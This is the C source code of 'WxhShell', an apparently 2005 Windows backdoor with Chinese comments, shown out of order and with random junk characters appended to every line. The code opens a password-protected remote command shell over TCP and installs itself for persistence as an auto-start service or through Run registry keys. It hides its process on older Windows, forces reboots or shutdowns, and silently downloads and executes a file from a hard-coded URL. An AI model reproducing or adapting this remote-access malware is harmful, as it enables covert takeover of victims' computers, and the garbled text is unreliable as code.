    if(Boot(SHUTDOWN)) i|\{\d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xKJ>gr"w#  
    else { @5}gsC  
    closesocket(wsh); S@:B6](D$  
    ExitThread(0); U 0ZB^`  
    } :LV.G0)#  
    break; Ls: =A6AGM  
    } ->yeJTsE9  
  // 获取shell Uk-HP\C"7  
  case 's': { BGjb`U#%3  
    CmdShell(wsh); X_70]^XL  
    closesocket(wsh); mPmB6q%)]  
    ExitThread(0); \].J-^=  
    break; a%~yol0wO7  
  } u+% tPe  
  // 退出 IM-`<~(I#  
  case 'x': { =wA5P@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rk<%r k  
    CloseIt(wsh); DA LQ<iF  
    break; EE%s<_k`  
    } Ob(leL>ow  
  // 离开 bx(w :]2  
  case 'q': { M@^U 0 ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V8'`nuC+  
    closesocket(wsh); o1YU_k<#  
    WSACleanup(); xVR:; Jy[  
    exit(1); _9h.Gt  
    break; }~*rx7p  
        } lvufkVG|  
  } X N;/nU  
  } pVOI5>f\  
E8tD)=1  
  // 提示信息  a8h]n:!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,z66bnjO  
} (G5xkygR9  
  } OKQLv+q5K)  
A ^B@VuK  
  return; w<d*#$[,*  
} *:QXz<_x+  
piu0^vEEH  
// shell模块句柄 DM2Q1Dh3  
int CmdShell(SOCKET sock) YZ[%uArm  
{ Bz]J=g7  
STARTUPINFO si; $GF&x>]]  
ZeroMemory(&si,sizeof(si)); Ve14rn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %vc'{`P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^W['A]l  
PROCESS_INFORMATION ProcessInfo; MxN]7  
char cmdline[]="cmd"; A[ 1)!e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3LrsWAz'  
  return 0; j_pw^I$C  
} &HxT41pku  
WLy7'3@  
// 自身启动模式 B,0+HoP  
int StartFromService(void) .cw=*<zeg  
{ Y\u_+CG*  
typedef struct /.-m}0h|W-  
{ aL$j/SC  
  DWORD ExitStatus; B*Cb6'Q  
  DWORD PebBaseAddress; 4sd-zl$Of  
  DWORD AffinityMask; U$$3'n  
  DWORD BasePriority; 8D T@h8tA  
  ULONG UniqueProcessId; ?zE<  
  ULONG InheritedFromUniqueProcessId; 4[H,3}p9H  
}   PROCESS_BASIC_INFORMATION; Spc&X72I  
W]~ZkQ|P  
PROCNTQSIP NtQueryInformationProcess; 2;R/.xI6v  
W^ClHQ"Iy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `1_FQnm)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *(VbPp_H_  
^8\Y`Z0%  
  HANDLE             hProcess; D JJZJ}7  
  PROCESS_BASIC_INFORMATION pbi; YlB["@\[B  
5@.zz"o.`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mdt ?:F4Q  
  if(NULL == hInst ) return 0; 2?H@$-x>  
T Xl\hL\+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w}b<D#0XC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GFY-IC+fc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Ix5,^M}B  
g$gVm:=  
  if (!NtQueryInformationProcess) return 0; 1G_xP^H!  
a}GAB@YI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vd[  2u  
  if(!hProcess) return 0; *e,CDV  
PoY>5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @d P~X  
Wb'*lT0=  
  CloseHandle(hProcess); 1YFAr}M  
x/[8Wi,yB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gx#J%k,f  
if(hProcess==NULL) return 0; :X|AW?*  
AYYRxhv_,  
HMODULE hMod; .^GFy   
char procName[255]; _jk|}IB;X  
unsigned long cbNeeded; ]t7ClT)n!  
w=gQ3j#s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U!_sh<  
] :GfOgo  
  CloseHandle(hProcess); 6e&g$ R v  
Rgs3A)[`d/  
if(strstr(procName,"services")) return 1; // 以服务启动 yvS^2+jW  
s/\XH&KR3V  
  return 0; // 注册表启动 ~"RQ!&U  
} qY# m*R  
e8 v; D  
// 主模块 _=)!xnYf  
int StartWxhshell(LPSTR lpCmdLine) ;,FT&|3o  
{ O<Jwaap  
  SOCKET wsl; i$g|?g~]  
BOOL val=TRUE; Mf#2.TR  
  int port=0; a'm!M:w  
  struct sockaddr_in door; @<VG8{  
ltP   
  if(wscfg.ws_autoins) Install(); DwTi_8m;  
\v.HG] /u  
port=atoi(lpCmdLine); Sq.9-h%5  
*j/ uihY  
if(port<=0) port=wscfg.ws_port; M44_us  
?TRW"%  
  WSADATA data; E]1\iV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -.^@9 a>  
xqU^I5Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -fhAtxkg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jDFp31_X  
  door.sin_family = AF_INET; J,6!7a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bfu/9ad  
  door.sin_port = htons(port); ![qRoYpbg8  
fdg[{T4:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XlE$.  
closesocket(wsl); osI- o~#>  
return 1; jg7d7{{SB  
} aYqqq|  
9Zs #Ky/  
  if(listen(wsl,2) == INVALID_SOCKET) { (di)`D5Q  
closesocket(wsl); OE5X8DqQe  
return 1; d5N)^\z  
} ;&/sj-xJ2  
  Wxhshell(wsl); [))gn  
  WSACleanup(); aS3P(s L  
>9<_s ^_  
return 0; 6R0D3kW  
}3bQ>whF  
} K lPm=  
U$MWsDn   
// 以NT服务方式启动 ?< -wHj)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y=PzN3  
{ oM/B.U2a  
DWORD   status = 0; kOo>Iy  
  DWORD   specificError = 0xfffffff; -t;?P2  
\CP*i_:"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oz_b3r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 39'X$!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7)g;Wd+H  
  serviceStatus.dwWin32ExitCode     = 0; Iwnj'R7:  
  serviceStatus.dwServiceSpecificExitCode = 0; `#-p,NElV  
  serviceStatus.dwCheckPoint       = 0; -Pv P  
  serviceStatus.dwWaitHint       = 0; ,^UcRZ8.H  
bEBZ!ghU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h[vAU 9f)  
  if (hServiceStatusHandle==0) return; ke{DFq h  
$Vd?K@W[h  
status = GetLastError(); qb#V)  
  if (status!=NO_ERROR) 8 ))I$+  
{ FjK Ke7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =MQ2sb  
    serviceStatus.dwCheckPoint       = 0; H@VBP Q}Q  
    serviceStatus.dwWaitHint       = 0; Y j ,9V],  
    serviceStatus.dwWin32ExitCode     = status; &Z;Eu'ia  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5%vP~vy_}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sE(X:[Am  
    return; .D>A'r8U  
  } J@=!w[v+  
Zw3hp,P]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yb,G^+;  
  serviceStatus.dwCheckPoint       = 0; S(q4OQ B{  
  serviceStatus.dwWaitHint       = 0; ^XjvJa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j@kRv@  
} 0j-F6a*p'1  
VQZT.^  
// 处理NT服务事件,比如:启动、停止 853]CK<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +_vm\]4  
{ pO-)x:Wg  
switch(fdwControl) gDUoc*+h  
{ J tn&o"C  
case SERVICE_CONTROL_STOP: o(S^1j5  
  serviceStatus.dwWin32ExitCode = 0; ee__3>H"/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rd f85%%7  
  serviceStatus.dwCheckPoint   = 0; ?j},O=JFn  
  serviceStatus.dwWaitHint     = 0; {EiG23!qV  
  { }W Bm%f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Tjtj@-  
  } *X"F:7  
  return; 2n"*)3Qj  
case SERVICE_CONTROL_PAUSE: >?:i6&4o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qe' PAN=B  
  break; 5d!z<{`  
case SERVICE_CONTROL_CONTINUE: fb;hf:B:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AZBY, :>D  
  break; ]G$!/vXP  
case SERVICE_CONTROL_INTERROGATE: 5VY%o8xXa  
  break; .pNq-T  
}; i&AXPq>`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jb6ZAT<8  
} 06j)P6Iju  
DVeF(Y3&  
// 标准应用程序主函数 @Reh?]# v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P^o"PKA  
{ -v/?>  
AmrJ_YP/t~  
// 获取操作系统版本 3oNt]2w/'  
OsIsNt=GetOsVer(); {/,+_E/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wE.@0  
noD7G2o  
  // 从命令行安装 o9(#KC?3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8tB{rK,  
NR@SDW  
  // 下载执行文件 f(zuRM^5  
if(wscfg.ws_downexe) { >ZOZv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9h)P8B.>M  
  WinExec(wscfg.ws_filenam,SW_HIDE); PT= 2LZ  
} 8?]%Q i   
=-#iXP@  
if(!OsIsNt) { hPX2 Bp  
// 如果时win9x,隐藏进程并且设置为注册表启动 `04Y ;@w  
HideProc(); $4fjSSB~  
StartWxhshell(lpCmdLine); $;g%S0:3)  
} q0xE&[C[M  
else b~N|DKj  
  if(StartFromService()) )l/C_WEK  
  // 以服务方式启动 p-ii($~ }  
  StartServiceCtrlDispatcher(DispatchTable); v6, o/3Ex  
else 2oNPR+ -  
  // 普通方式启动  &~f*q?xR  
  StartWxhshell(lpCmdLine); gP"Mu#/D  
ABS BtH ?  
return 0; Mz#S5 s  
} o::ymAj  
Yc( )'6  
A?<"^<A^  
gJ}'O4*b  
=========================================== ;L/T}!Dx  
m'vOFP)'  
>G -?e!  
 MYW 4@#  
OYCFx2{  
,4?|}xg  
" YfYL?G  
u8)r W  
#include <stdio.h> ;z=C^'  
#include <string.h> :8/M6-EK  
#include <windows.h> 6!Ap;O^*  
#include <winsock2.h> d+wNGN  
#include <winsvc.h> R;I-IZS:  
#include <urlmon.h> $DMu~wwfG  
l2_E6U"  
#pragma comment (lib, "Ws2_32.lib") we@En .>f  
#pragma comment (lib, "urlmon.lib") (Su2 \x  
x[,wJzp\6  
#define MAX_USER   100 // 最大客户端连接数 H'(o}cn7~  
#define BUF_SOCK   200 // sock buffer 8`R}L  
#define KEY_BUFF   255 // 输入 buffer M}RFFg  
kv FOk  
#define REBOOT     0   // 重启 7G #e~,M5  
#define SHUTDOWN   1   // 关机 '}[L sU  
pJ@DHj2@  
#define DEF_PORT   5000 // 监听端口 ?. 'oxW  
rD)v%vvr&`  
#define REG_LEN     16   // 注册表键长度 ;|e 0{Jrz  
#define SVC_LEN     80   // NT服务名长度 5v03<m0`y  
AhFI, x  
// 从dll定义API X2mm'J DwK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .J! $,O@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q $,kB<M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )#TJw@dNf^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?&bVe__  
EYj2h .k  
// wxhshell配置信息 %QcG^R  
struct WSCFG { g 0_r  
  int ws_port;         // 监听端口 \< +47+  
  char ws_passstr[REG_LEN]; // 口令 Jd_1>p  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gt *<?  
  char ws_regname[REG_LEN]; // 注册表键名 Rhxm)5+  
  char ws_svcname[REG_LEN]; // 服务名 loVvr"&g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XzwQ,+IAr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zvw3C%In  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9MlfZsby  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AZ@Zo'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bwvc@(3v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Z&s0f1Qb  
|gxB; GG  
}; LR?#H)$  
vnOF$6n  
// default Wxhshell configuration rMFf8D(Y  
struct WSCFG wscfg={DEF_PORT, 79fyn!Iz<  
    "xuhuanlingzhe", BY2txLLB  
    1, .0/Z'.c 8  
    "Wxhshell", E;e2{@SX2K  
    "Wxhshell", iPL'JVPZ  
            "WxhShell Service", K%#C+`Ij  
    "Wrsky Windows CmdShell Service", =-& iF  
    "Please Input Your Password: ", &:{yf=  
  1, CAObC%  
  "http://www.wrsky.com/wxhshell.exe", {Ao^3vB  
  "Wxhshell.exe" "f$A0RL  
    }; #NxvLW/  
hA19:H=7R0  
// 消息定义模块 hLA=7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v=^)`C6Ma  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yxq!. 72  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h |  
char *msg_ws_ext="\n\rExit."; R$3+ 01j|  
char *msg_ws_end="\n\rQuit."; d-2I_ )9  
char *msg_ws_boot="\n\rReboot..."; :fQ*'m,  
char *msg_ws_poff="\n\rShutdown..."; ~./u0E  
char *msg_ws_down="\n\rSave to "; I z@x^s  
FnU;n  
char *msg_ws_err="\n\rErr!"; fmyS# 6"  
char *msg_ws_ok="\n\rOK!"; dfd%A" I  
R')GQ.yYq  
char ExeFile[MAX_PATH]; v~=ol8J B  
int nUser = 0; eEFT(e5.>3  
HANDLE handles[MAX_USER]; eWs^[^c.<  
int OsIsNt; jWCC`0 T  
<qiap2  
SERVICE_STATUS       serviceStatus; enepAu-="p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O!yn `< l  
30-w TcG  
// 函数声明 _!Q\Xn  
int Install(void); -$p-o Z)  
int Uninstall(void); a{6|[a R  
int DownloadFile(char *sURL, SOCKET wsh); AFA*_9Ut  
int Boot(int flag); aM1JG$+7G  
void HideProc(void); cHd39H9  
int GetOsVer(void); P"VLGa  
int Wxhshell(SOCKET wsl); 4r!40^:2  
void TalkWithClient(void *cs); FNO lR>0e  
int CmdShell(SOCKET sock); 7q1l9:VYE  
int StartFromService(void); |pg5m*h  
int StartWxhshell(LPSTR lpCmdLine); xef7mx  
,4$J|^T&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~hX'FV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >b${rgCvQ  
tq93 2M4  
// 数据结构和表定义 M_uij$1-  
SERVICE_TABLE_ENTRY DispatchTable[] = #&gy@!a~  
{ t:n|0G(  
{wscfg.ws_svcname, NTServiceMain}, OOwJ3I >]>  
{NULL, NULL} 7K4%`O  
}; hY'%SV p  
;sJ2K"c  
// 自我安装 <C xet~x  
int Install(void) W%:zvqg v  
{ f>PU# D@B  
  char svExeFile[MAX_PATH]; 7 {<lH%Tn  
  HKEY key; ]d(}b>gR~(  
  strcpy(svExeFile,ExeFile); $SgD| 9  
p.olXP  
// 如果是win9x系统,修改注册表设为自启动 :.^rWCL2  
if(!OsIsNt) { 2%H( a)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #$QY[rf=6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 34+}u,=  
  RegCloseKey(key); Fb-TCq1y#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >iV(8EgBS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IA!Kp g W  
  RegCloseKey(key); EeJ] > 1  
  return 0; lvffQ_t  
    } =Q/i< u  
  } exvsf|  
} zt6ep=  
else { aPgG+tu  
$Q4b~  
// 如果是NT以上系统,安装为系统服务 RT9@&5>il  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^)I:82"|?  
if (schSCManager!=0) d_hcv|%  
{ Aed"J5[a  
  SC_HANDLE schService = CreateService {F[Xe_=#"  
  ( Pl>t\`1:|A  
  schSCManager, BO|Jrr>  
  wscfg.ws_svcname, =)LpMTz  
  wscfg.ws_svcdisp, {5`?0+  
  SERVICE_ALL_ACCESS, XjNu|H/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $x*GvI1D  
  SERVICE_AUTO_START, r Y.:}D  
  SERVICE_ERROR_NORMAL, ,j<"~"] =  
  svExeFile, ,)G,[ih  
  NULL, b*i+uV?  
  NULL, &kBs'P8>  
  NULL, !8].Z"5J  
  NULL,  =%`"  
  NULL zKr(Gt8  
  ); [x,&Gwa  
  if (schService!=0) K<(R Vh  
  { .S;/v--F  
  CloseServiceHandle(schService); 95/C4q  
  CloseServiceHandle(schSCManager); Wi<Fkzj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NM]/OKs'H  
  strcat(svExeFile,wscfg.ws_svcname); lB-7.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n66 _#X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =G :H)i  
  RegCloseKey(key); v;7u"9t  
  return 0; <}%*4mv  
    } 5**xU+&  
  } xl$ Qw'  
  CloseServiceHandle(schSCManager); u1l#k60  
} 3-5lO#&#  
} EQ -\tWY  
I5,Fh>  
return 1; b;vO`  
} z7o5 9&  
o-_ a0j  
// 自我卸载 -u{:39y{n  
int Uninstall(void) dmne+ufB  
{ 2NM} u\%c/  
  HKEY key; ;a"Ukh  
YQOGxSi  
if(!OsIsNt) { h?sh#j6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c-F&4V  
  RegDeleteValue(key,wscfg.ws_regname); >8so'7(  
  RegCloseKey(key); YuZnuI@m9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]M/w];:  
  RegDeleteValue(key,wscfg.ws_regname); :%gBcL9T  
  RegCloseKey(key); (0r6_8e6xv  
  return 0; e [n>U@  
  } DWG}}vN:&  
} h pU7  
} 0ro+FJ r  
else { a/1{tDA  
`/O_6PQ}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nbda P{{  
if (schSCManager!=0) p|%)uA3'/  
{ '4iu0ie>D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y]PZ| G)  
  if (schService!=0) d{ &z^  
  { 4-MA!&  
  if(DeleteService(schService)!=0) { +?8nY.~,'  
  CloseServiceHandle(schService); o,L!F`W  
  CloseServiceHandle(schSCManager); WW.=>]7;  
  return 0; 2rk_ ssvs  
  } z3,z&Ra  
  CloseServiceHandle(schService); e=U7w7(s9  
  } Yi:+,-Fso  
  CloseServiceHandle(schSCManager); qXW 5_iX  
} P;GUGG*W  
} .Kx5Kh {  
0(n/hJ  
return 1; btOC\bUMfD  
} N^ )OlH  
ZHT.+X:_  
// 从指定url下载文件 xAI<<[-  
int DownloadFile(char *sURL, SOCKET wsh) <}evOw2  
{ /T?['#:r-)  
  HRESULT hr; hikun 2  
char seps[]= "/"; <m!\Ma  
char *token; @m6E*2Gg  
char *file; +.=a R<Q  
char myURL[MAX_PATH]; kciH  
char myFILE[MAX_PATH]; F n\)*; ^  
2neiUNT  
strcpy(myURL,sURL); xGqZ8v`v  
  token=strtok(myURL,seps); Lt)t}0  
  while(token!=NULL) vCJjZ%eO%D  
  { :mij%nQ>$  
    file=token; j$,`EBf`:<  
  token=strtok(NULL,seps); &wJ"9pQ~6E  
  } plca`  
Kxg09\5i  
GetCurrentDirectory(MAX_PATH,myFILE); rei<{woX  
strcat(myFILE, "\\"); ,,?t>|3  
strcat(myFILE, file); a}yJ$6xi  
  send(wsh,myFILE,strlen(myFILE),0); {x+jFj.  
send(wsh,"...",3,0); _+GCd8d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d(tq;2-  
  if(hr==S_OK) /<@oUv  
return 0; ?D#Vha  
else ']V 2V)t  
return 1;  h /on  
fQ<V_loP.@  
} [bAv|;  
pl%ag~i5  
// 系统电源模块 >o@WT kF]  
int Boot(int flag) (t <Um Vd  
{ >y1/*)O9~  
  HANDLE hToken; wFh{\  
  TOKEN_PRIVILEGES tkp; RxqXGM`4  
%9IM|\ulp  
  if(OsIsNt) { :U~[%]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {pVD`#Tl[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *w!H -*`  
    tkp.PrivilegeCount = 1; 9 eP @}C6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +s`n]1HC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ H'|iju  
if(flag==REBOOT) { $Uzc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @r#>-p  
  return 0; &.d~ M1Mz  
} aFLm,  
else { %;gD_H4mm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R\iU)QP  
  return 0; U!('`TYe  
} _c[t.\-`]  
  } ZI1[jM{4^F  
  else { fPst<)  
if(flag==REBOOT) { ?R";EnD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vsc&$r3!5{  
  return 0; rXA7<_Vg  
} wsM5T B  
else { Fd2zvi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *'Ch(c:rtH  
  return 0; 7-)Y\D  
} )=~1m85+5B  
} !x>P]j7A}Y  
 +&|WC2#  
return 1; zF{5!b  
} srUpG&Bcx  
K{ N#^L!  
// win9x进程隐藏模块 mI}'8 .  
void HideProc(void) @L`t/OD  
{ .Emw;+>  
)5hS;u&b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @}#$<6|  
  if ( hKernel != NULL ) m|'TPy  
  { i2EB.Zlv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c" yf>0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >zXw4=J  
    FreeLibrary(hKernel); 9^`G `D  
  } D>05F,a  
*K!V$8k=99  
return; Q&yfl  
} ns@b0'IF]  
"",V\m  
// 获取操作系统版本 -8g ;t3z  
int GetOsVer(void) q W) ,)i  
{ ! XA07O[@  
  OSVERSIONINFO winfo; e%"L79Of6)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ceAK;v o  
  GetVersionEx(&winfo); lv,<[Hw1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) < jfi"SJu  
  return 1; 2U i)'0  
  else {4UlJ,Z.n  
  return 0; x2;92I{5C,  
} RoP z?,u  
6Vi #O^>  
// 客户端句柄模块 iugTXZ(  
int Wxhshell(SOCKET wsl) Z?X ^7<  
{ !DD|dVA{  
  SOCKET wsh; B\9ymhx;g%  
  struct sockaddr_in client; ?mnwD]u  
  DWORD myID; $KKrl  
]x! vPIyq  
  while(nUser<MAX_USER) 5WY..60K,  
{ Jo_h?{"L{  
  int nSize=sizeof(client); ?:~ `?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wC;N*0Th  
  if(wsh==INVALID_SOCKET) return 1; ]e 81O#t3  
R:zjEhH )  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 z\WyDz  
if(handles[nUser]==0) cvi+AZ=  
  closesocket(wsh); C^]bXIb  
else Bx;bc  
  nUser++; dX` _Y  
  } |>Kf_b Y#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x-Yt@}6mvl  
@:X~^K.  
  return 0; KR#Bj?fz-H  
} )9==6p  
DtR-NzjB  
// 关闭 socket pJ1GB  
void CloseIt(SOCKET wsh) uG~%/7Qt{  
{ 'Q?nU^:F#  
closesocket(wsh); 5Y JLR;  
nUser--; Lr_+) l  
ExitThread(0); @zW'!Ol  
} d2Bn`VI  
1P@&xcvS\  
// 客户端请求句柄 J8~3LE )G  
void TalkWithClient(void *cs) WADNr8.  
{ g.Z>9(>;Y  
~\(U&2t  
  SOCKET wsh=(SOCKET)cs; BB>3Kj:|  
  char pwd[SVC_LEN]; e=QnGT*b5  
  char cmd[KEY_BUFF]; /\(0@To  
char chr[1]; mq do@  
int i,j; tNoo3&  
/EA4-#uw  
  while (nUser < MAX_USER) { =&< s*-l[  
 Hi|'  
if(wscfg.ws_passstr) { %BC*h}KGH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GjfY   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?&j[Rj0pH  
  //ZeroMemory(pwd,KEY_BUFF); JstX# z  
      i=0; 6uOR0L  
  while(i<SVC_LEN) {  0'%R@|  
[_#9PH33  
  // 设置超时 O\-cLI<h2  
  fd_set FdRead; 48Z{wV,  
  struct timeval TimeOut; \&n]W\  
  FD_ZERO(&FdRead); KzG8K 6wZ  
  FD_SET(wsh,&FdRead); 8!'#B^  
  TimeOut.tv_sec=8; ;a*i*{\Rm  
  TimeOut.tv_usec=0; T1LtO O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @I_A\ U{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J#!:Z8b  
eOE7A'X   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P BpjE}[Q  
  pwd=chr[0]; `[2nxP>w`  
  if(chr[0]==0xd || chr[0]==0xa) { 0,{Dw9W:  
  pwd=0; j"7 z  
  break; L Lm{:T7  
  } w%g@X6  
  i++; ==l p\  
    } Q+[gGe JUF  
z+C>P4c-y&  
  // 如果是非法用户,关闭 socket HJ:s)As  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HBXp#$dPc  
} =(3Qbb1i  
 +,gI|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GTyS8`5E*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|A *rzL8  
>t2 0GmmN  
while(1) { Ky[/7S5E  
"W?k~.uw  
  ZeroMemory(cmd,KEY_BUFF); <}L`d(E@f  
k:nr!Y<  
      // 自动支持客户端 telnet标准   D: NBb!   
  j=0; MLG%+@\  
  while(j<KEY_BUFF) { "[q/2vC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FAzshR  
  cmd[j]=chr[0]; k9vr6We'  
  if(chr[0]==0xa || chr[0]==0xd) {  I QS|  
  cmd[j]=0; lc,{0$ 1<  
  break; v[q2OWcL  
  } ;oH17  
  j++; }3!83~Qbx  
    } snK$? 9vh  
*!ZU" q}i  
  // 下载文件 k3da*vwE  
  if(strstr(cmd,"http://")) { \SHYwD}*Pr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A|,\}9)4X[  
  if(DownloadFile(cmd,wsh)) ce0TQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5hUYxF20h8  
  else 8$io^n\i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |CexP^;!U  
  } 0m(/hK  
  else { ZT5t~5W  
V7G?i\>  
